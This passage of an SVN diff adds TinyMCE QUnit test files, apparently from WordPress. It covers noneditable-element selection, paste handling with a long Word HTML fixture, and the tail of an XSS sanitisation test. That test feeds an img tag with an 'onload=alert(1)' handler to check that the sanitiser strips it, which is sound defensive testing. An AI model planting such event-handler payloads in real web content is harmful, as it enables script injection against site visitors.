+	testXss('<video><img src="x" onload="alert(1)"></video>', '<p><video width="300" height=\"150\"></video></p>');
+	testXss('<video><img src="x"></video>', '<p><video width="300" height="150"><img src="x" /></video></p>');
+	testXss('<video><!--[if IE]><img src="x"><![endif]--></video>', '<p><video width="300" height="150"><!-- [if IE]><img src="x"><![endif]--></video></p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/noneditable.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/noneditable.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/noneditable.js	(revision 33402)
@@ -0,0 +1,214 @@
+module("tinymce.plugins.Noneditable", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			noneditable_regexp: [/\{[^\}]+\}/g],
+			plugins: 'noneditable',
+			forced_root_block: '',
+			convert_fonts_to_spans: false,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('expand to noneditable (start)', function() {
+		editor.setContent('<p><span class="mceNonEditable">no</span>yes</p>');
+
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild.firstChild.firstChild, 1);
+		rng.setEnd(editor.getBody().firstChild.lastChild, 1);
+		editor.selection.setRng(rng);
+
+		editor.dom.fire(editor.getBody(), 'mouseup');
+		rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.startOffset, 0);
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.endOffset, 1);
+	});
+
+	test('expand to noneditable (end)', function() {
+		editor.setContent('<p>yes<span class="mceNonEditable">no</span></p>');
+
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild.firstChild, 1);
+		rng.setEnd(editor.getBody().firstChild.lastChild.firstChild, 1);
+		editor.selection.setRng(rng);
+
+		editor.dom.fire(editor.getBody(), 'mouseup');
+		rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.startOffset, 1);
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.endOffset, 2);
+	});
+
+	test('expand to noneditable (start/end)', function() {
+		editor.setContent('<p>yes<span class="mceNonEditable">noedit</span>yes</p>');
+
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.dom.select('span')[0].firstChild, 1);
+		rng.setEnd(editor.dom.select('span')[0].firstChild, 2);
+		editor.selection.setRng(rng);
+
+		editor.dom.fire(editor.getBody(), 'mouseup');
+		rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.startOffset, 1);
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.endOffset, 2);
+	});
+
+	test('type after non editable', function() {
+		editor.setContent('<p><span class="mceNonEditable">no</span>yes</p>');
+
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.dom.select('span')[0].firstChild, 2);
+		rng.setEnd(editor.dom.select('span')[0].firstChild, 2);
+		editor.selection.setRng(rng);
+
+		editor.dom.fire(editor.getBody(), 'mouseup');
+		Utils.type('X');
+		rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+		equal(rng.startContainer.getAttribute('data-mce-bogus'), 'true');
+		equal(rng.startContainer.nodeName, 'SPAN');
+		equal(rng.startOffset, 1);
+		equal(rng.endContainer.nodeName, 'SPAN');
+		equal(rng.endOffset, 1);
+		equal(editor.getContent(), '<p><span class="mceNonEditable">no</span>Xyes</p>');
+	});
+}
+
+test('type between non editable', function() {
+	editor.setContent('<p><span class="mceNonEditable">no</span><span class="mceNonEditable">no</span></p>');
+
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 2);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+
+	editor.dom.fire(editor.getBody(), 'mouseup');
+	Utils.type('X');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+	equal(rng.startContainer.getAttribute('data-mce-bogus'), 'true');
+	equal(rng.startContainer.nodeName, 'SPAN');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'SPAN');
+	equal(rng.endOffset, 1);
+	equal(editor.getContent(), '<p><span class="mceNonEditable">no</span>X<span class="mceNonEditable">no</span></p>');
+});
+
+test('type after last non editable', function() {
+	editor.setContent('<p><span class="mceNonEditable">no</span></p>');
+
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 2);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+
+	editor.dom.fire(editor.getBody(), 'mouseup');
+	Utils.type('X');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+	equal(rng.startContainer.getAttribute('data-mce-bogus'), 'true');
+	equal(rng.startContainer.nodeName, 'SPAN');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'SPAN');
+	equal(rng.endOffset, 1);
+	equal(editor.getContent(), '<p><span class="mceNonEditable">no</span>X</p>');
+});
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('escape noneditable inline element (left)', function() {
+		editor.setContent('<p>no <span class="mceNonEditable">yes</span> no</p><p class="mceNonEditable">no</p>');
+
+		var rng = editor.dom.createRng();
+		rng.selectNode(editor.dom.select('span')[0]);
+		editor.selection.setRng(rng);
+
+		Utils.type({keyCode: 37});
+		rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+		equal(rng.startContainer.nodeName, 'SPAN');
+		equal(rng.startContainer.parentNode.nodeName, 'P');
+		equal(editor.dom.nodeIndex(rng.startContainer), 1);
+		equal(rng.collapsed, true);
+	});
+}
+
+test('escape noneditable inline element (right)', function() {
+	editor.setContent('<p>no <span class="mceNonEditable">yes</span> no</p><p class="mceNonEditable">no</p>');
+
+	var rng = editor.dom.createRng();
+	rng.selectNode(editor.dom.select('span')[0]);
+	editor.selection.setRng(rng);
+
+	Utils.type({keyCode: 39});
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+	equal(rng.startContainer.nodeName, 'SPAN');
+	equal(rng.startContainer.parentNode.nodeName, 'P');
+	equal(editor.dom.nodeIndex(rng.startContainer), 2);
+	equal(rng.collapsed, true);
+});
+
+test('escape noneditable block element (left)', function(){
+	editor.setContent('<p>yes</p><p class="mceNonEditable">no</p><p>yes</p>');
+
+	var rng = editor.dom.createRng();
+	rng.selectNode(editor.dom.select('p')[1]);
+	editor.selection.setRng(rng);
+
+	Utils.type({keyCode: 37});
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+	equal(rng.startContainer.nodeName, "P");
+	equal(editor.dom.nodeIndex(rng.startContainer), 0);
+	equal(rng.startOffset, 1);
+	equal(rng.collapsed, true);
+
+});
+
+test('escape noneditable block element (right)', function(){
+	editor.setContent('<p>yes</p><p class="mceNonEditable">no</p><p>yes</p>');
+
+	var rng = editor.dom.createRng();
+	rng.selectNode(editor.dom.select('p')[1]);
+	editor.selection.setRng(rng);
+
+	Utils.type({keyCode: 39});
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+
+	equal(rng.startContainer.nodeName, "P");
+	equal(editor.dom.nodeIndex(rng.startContainer), 2);
+	equal(rng.startOffset, 0);
+	equal(rng.collapsed, true);
+
+});
+
+test('noneditable regexp', function() {
+	editor.setContent('<p>{test1}{test2}</p>');
+
+	equal(editor.dom.select('span').length, 2);
+	equal(editor.getContent(), '<p>{test1}{test2}</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/paste.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/paste.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/paste.js	(revision 33402)
@@ -0,0 +1,775 @@
+module("tinymce.plugins.Paste", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			plugins: wpPlugins,
+			wp_paste_filters: false,
+			setup: function(ed) {
+				ed.on('NodeChange', false);
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	},
+
+	teardown: function() {
+		delete editor.settings.paste_remove_styles_if_webkit;
+		delete editor.settings.paste_retain_style_properties;
+		delete editor.settings.paste_enable_default_filters;
+		delete editor.settings.paste_data_images;
+		delete editor.settings.paste_webkit_styles;
+	}
+});
+
+test("Paste simple text content", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	editor.focus();
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: 'TEST'});
+	equal(editor.getContent(), '<p>1TEST4</p>');
+});
+
+test("Paste styled text content", function() {
+	var rng = editor.dom.createRng();
+
+	editor.settings.paste_remove_styles_if_webkit = false;
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<strong><em><span style="color: red;">TEST</span></em></strong>'});
+	equal(editor.getContent(), '<p>1<strong><em><span style="color: red;">TEST</span></em></strong>4</p>'); // Changed in WordPress
+});
+
+test("Paste paragraph in paragraph", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p>TEST</p>'});
+	equal(editor.getContent(), '<p>1</p><p>TEST</p><p>4</p>');
+});
+
+test("Paste paragraphs in complex paragraph", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p><strong><em>1234</em></strong></p>');
+	rng.setStart(editor.dom.select('em,i')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('em,i')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p>TEST 1</p><p>TEST 2</p>'});
+	equal(editor.getContent(), '<p><strong><em>1</em></strong></p><p>TEST 1</p><p>TEST 2</p><p><strong><em>4</em></strong></p>');
+});
+
+test("Paste Word fake list", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 12"><meta name="Originator" content="Microsoft Word 12"><link rel="File-List" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"><link rel="themeData" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"><link rel="colorSchemeMapping" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves/> <w:TrackFormatting/> <w:HyphenationZone>21</w:HyphenationZone> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF/> <w:LidThemeOther>SV</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> <w:SplitPgBreakAndParaMark/> <w:DontVertAlignCellWithSp/> <w:DontBreakConstrainedForcedTables/> <w:DontVertAlignInTxbx/> <w:Word11KerningPairs/> <w:CachedColBalance/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math"/> <m:brkBin m:val="before"/> <m:brkBinSub m:val="&#45;-"/> <m:smallFrac m:val="off"/> <m:dispDef/> <m:lMargin m:val="0"/> <m:rMargin m:val="0"/> <m:defJc m:val="centerGroup"/> <m:wrapIndent m:val="1440"/> <m:intLim m:val="subSup"/> <m:naryLim m:val="undOvr"/> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true" DefSemiHidden="true" DefQFormat="false" DefPriority="99" LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Normal"/> <w:LsdException Locked="false" Priority="9" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="heading 1"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/> <w:LsdException Locked="false" Priority="39" Name="toc 1"/> <w:LsdException Locked="false" Priority="39" Name="toc 2"/> <w:LsdException Locked="false" Priority="39" Name="toc 3"/> <w:LsdException Locked="false" Priority="39" Name="toc 4"/> <w:LsdException Locked="false" Priority="39" Name="toc 5"/> <w:LsdException Locked="false" Priority="39" Name="toc 6"/> <w:LsdException Locked="false" Priority="39" Name="toc 7"/> <w:LsdException Locked="false" Priority="39" Name="toc 8"/> <w:LsdException Locked="false" Priority="39" Name="toc 9"/> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/> <w:LsdException Locked="false" Priority="10" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Title"/> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/> <w:LsdException Locked="false" Priority="11" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/> <w:LsdException Locked="false" Priority="22" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Strong"/>  <w:LsdException Locked="false" Priority="20" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>  <w:LsdException Locked="false" Priority="59" SemiHidden="false" UnhideWhenUsed="false" Name="Table Grid"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>  <w:LsdException Locked="false" Priority="1" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 1"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 1"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 1"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>  <w:LsdException Locked="false" Priority="34" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>  <w:LsdException Locked="false" Priority="29" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Quote"/>  <w:LsdException Locked="false" Priority="30" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 1"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 1"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 2"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 2"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 2"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 2"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 2"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 3"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 3"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 3"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 3"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 3"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 4"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 4"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 4"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 4"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 4"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 5"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 5"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 5"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 5"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 5"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 6"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 6"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 6"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 6"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 6"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>  <w:LsdException Locked="false" Priority="19" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>  <w:LsdException Locked="false" Priority="21" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>  <w:LsdException Locked="false" Priority="31" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>  <w:LsdException Locked="false" Priority="32" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>  <w:LsdException Locked="false" Priority="33" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>  <w:LsdException Locked="false" Priority="37" Name="Bibliography"/>  <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>  </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1610611985 1073750139 0 0 159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraph, li.MsoListParagraph, 